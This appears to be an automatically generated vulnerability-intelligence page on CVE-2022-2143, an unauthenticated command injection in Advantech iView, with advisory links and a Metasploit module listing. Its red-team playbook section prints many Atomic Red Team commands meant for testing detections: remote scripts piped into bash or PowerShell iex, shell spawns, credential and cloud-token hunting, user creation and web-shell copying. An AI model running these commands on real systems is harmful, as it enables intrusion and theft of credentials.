CVE-2022-2143
Overview
The Advantech iView product contains two distinct command injection vulnerabilities stemming from improper input validation in its network management interfaces. These flaws occur due to unsanitized user-supplied data being passed directly to system-level command execution functions within the device's web-based management components. The affected component is the network servlet handling command inputs, which fails to securely parse or restrict command parameters, allowing injection of arbitrary shell commands.
Vulnerability Description
The affected product is vulnerable to two instances of command injection, which may allow an attacker to remotely execute arbitrary code.
Impact
An unauthenticated remote attacker can exploit these command injection vulnerabilities to execute arbitrary code on the affected Advantech iView device with the same privileges as the web service. This enables full system compromise, including data manipulation, service disruption, and potential lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no authentication or user interaction is required, increasing the attack surface and severity of exploitation.
Solution
Advantech has issued an advisory (ICSA-22-179-03) recommending immediate application of firmware updates that address these command injection flaws in the iView product line. Users should consult the official vendor advisory at https://www.cisa.gov/uscert/ics/advisories/icsa-22-179-03 for detailed patch instructions and version-specific updates. Until patched, restricting network access to the management interface and disabling unnecessary services are advised as temporary mitigations.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to command injection flaws within specific versions of the Advantech iView product. Command injection vulnerabilities occur when an application allows untrusted input to be executed as commands on the host operating system. In this case, the affected product fails to properly sanitize user input, enabling an attacker to manipulate commands executed by the application. This oversight can lead to the execution of arbitrary code, potentially compromising the integrity and confidentiality of the system. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk that necessitates immediate attention.
Attack vectors for exploiting this vulnerability are varied, but they typically involve an attacker sending crafted input through web interfaces or APIs that the iView product exposes. For instance, an attacker could leverage a web form or an API endpoint that accepts user data without adequate validation. By injecting malicious commands, the attacker could execute arbitrary code on the server, leading to unauthorized access, data exfiltration, or even complete system takeover. Additionally, if the product is deployed in a networked environment, the ramifications could extend beyond the immediate system, potentially impacting other connected devices and systems.
The real-world impact of such vulnerabilities can be significant, particularly for organizations relying on the affected product for critical operations. The ability to execute arbitrary code remotely can lead to severe business risks, including data breaches, financial losses, and damage to reputation. In sectors such as manufacturing, healthcare, or critical infrastructure, where Advantech's iView may be deployed, the consequences could be catastrophic. Attackers could disrupt operations, manipulate data, or even cause physical damage to machinery, leading to safety hazards for personnel and the public.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify instances of command injection before they are exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious input. It is also crucial to ensure that the affected product is updated to the latest version, where patches addressing these vulnerabilities are applied. Furthermore, organizations should adopt secure coding practices and conduct thorough code reviews to prevent similar vulnerabilities in future development cycles.
In conclusion, the command injection vulnerabilities present in the Advantech iView product pose a critical threat to organizations that utilize this technology. The potential for remote code execution can lead to severe operational disruptions and significant financial and reputational damage. By implementing robust detection and mitigation strategies, organizations can better protect themselves against such vulnerabilities and ensure the integrity and security of their systems. Continuous vigilance and proactive security measures are essential in the ever-evolving landscape of cybersecurity threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Advantech | Iview | All |
cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Advantech iView NetworkServlet Command Injection
exploits/windows/http/advantech_iview_networkservlet_cmd_inject
|
rgod, y4er, Shelby Pace | Unknown | win | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-2143 |
| cisa.gov |
GitHub CVE
x_refsource_MISC
|
https://www.cisa.gov/uscert/ics/advisories/icsa-22-179-03 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/168108/Advantech-iView-NetworkServlet-Command-Injection.html |